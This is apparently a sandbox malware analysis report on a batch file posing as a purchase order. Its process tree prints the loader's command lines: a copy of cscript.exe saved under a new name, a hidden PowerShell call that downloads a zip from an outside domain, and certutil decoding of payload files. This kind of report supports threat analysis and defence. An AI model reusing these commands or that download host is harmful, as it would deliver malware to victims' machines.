Analysis

  • max time kernel
    298s
  • max time network
    295s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 14:37

General

  • Target
    Purchase Order_PO YRS00262602092026.bat
  • Size 389KB
  • Sample260910-ry7dcsvdrf
  • SHA256 6ee4ccedaac06562ee929036608060820ed9db9deb2cb3184e9d68a31ce22c22
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Purchase Order_PO YRS00262602092026.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4560
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3808
      • C:\Windows\system32\extrac32.exe
        extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
        3⤵
          PID:3760
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\Users\Admin\AppData\Local\Temp\\ript.exe C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5020
        • C:\Users\Admin\AppData\Local\Temp\ript.exe
          "C:\Users\Admin\AppData\Local\Temp\ript.exe" C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip
          3⤵
          • Executes dropped EXE
          PID:2968
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp1.txt" "C:\Users\Admin\AppData\Local\Temp\env\libtcc.ini"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:3504
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp2.txt" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4152

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_2li2enge.uu4.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2li2enge.uu4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          aloha.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\aloha.vbs
          • Size 194B
          • SHA256 08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898
          • MD5 SHA1 SHA512 TLSH

          ript.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ript.exe
          • Size 157KB
          • SHA256 ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2968-24-0x0000020DE7950000-0x0000020DE7A8C000-memory.dmp

          memory/5020-5-0x00000195BC800000-0x00000195BC810000-memory.dmp

          memory/5020-4-0x00000195BC800000-0x00000195BC810000-memory.dmp

          memory/5020-13-0x00000195D6B10000-0x00000195D6B32000-memory.dmp

          memory/5020-22-0x00000195BC800000-0x00000195BC810000-memory.dmp

          memory/5020-23-0x00000195BC800000-0x00000195BC810000-memory.dmp